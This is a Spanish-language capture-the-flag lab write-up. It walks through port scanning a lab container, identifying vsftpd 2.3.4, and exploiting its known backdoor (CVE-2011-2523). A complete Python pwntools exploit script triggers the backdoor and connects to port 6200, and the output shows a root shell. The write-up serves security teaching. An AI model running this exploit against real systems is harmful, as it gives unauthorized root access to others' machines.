😐

[ no0funny ]

FirstHacking

Laboratorio para practicar la explotación del backdoor de vsftpd 2.3.4 para obtener acceso como root.

FirstHacking

Enumeration

Escaneamos todos los puertos para ver cuáles están abiertos y qué servicios corren en ellos.

sudo nmap -p- -sS --min-rate 5000 -Pn -n -vv -oA nmap/allports 172.17.0.2
PORT   STATE SERVICE REASON
21/tcp open  ftp     syn-ack ttl 64

Escaneamos el puerto abierto encontrado para ver más detalles sobre el servicio.

nmap -p 21 -sCV -oA nmap/openports 172.17.0.2
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 2.3.4
Service Info: OS: Unix

Buscamos con searchsploit si la versión es vulnerable. Y sí, es vulnerable, el CVE-2011-2523 muestra que esta versión tiene un backdoor corriendo en el puerto 6200/tcp.

searchsploit vsftpd 2.3.4
vsftpd 2.3.4 - Backdoor Command Execution                                                                                                 | unix/remote/49757.py
vsftpd 2.3.4 - Backdoor Command Execution (Metasploit)                                                                                    | unix/remote/17491.rb

Exploitation

Creamos un script en Python porque los pocs que andan dando vueltas usan librerías de Python obsoletas y no nos queremos volver locos.

#!/usr/bin/env python3

from pwn import *
import argparse

parser = argparse.ArgumentParser(description="vsFTPd 2.3.4 Backdoor Exploit")
parser.add_argument(
    "-t",
    "--target",
    required=True,
    help="Target IP address or hostname"
)

args = parser.parse_args()
host = args.target

ftp = remote(host, 21)

ftp.recvuntil(b"vsFTPd")
ftp.sendline(b"USER nergal:)")
ftp.recvuntil(b"password")
ftp.sendline(b"PASS pass")

shell = remote(host, 6200)
shell.interactive()

Ejecutamos el exploit y obtenemos una shell como el usuario root.

python3 ../trust/exploit.py -t 172.17.0.2
[+] Opening connection to 172.17.0.2 on port 21: Done
[+] Opening connection to 172.17.0.2 on port 6200: Done
[*] Switching to interactive mode

Con el comando id vemos que usuario está corriendo el proceso actual.

$ id
uid=0(root) gid=0(root) groups=0(root)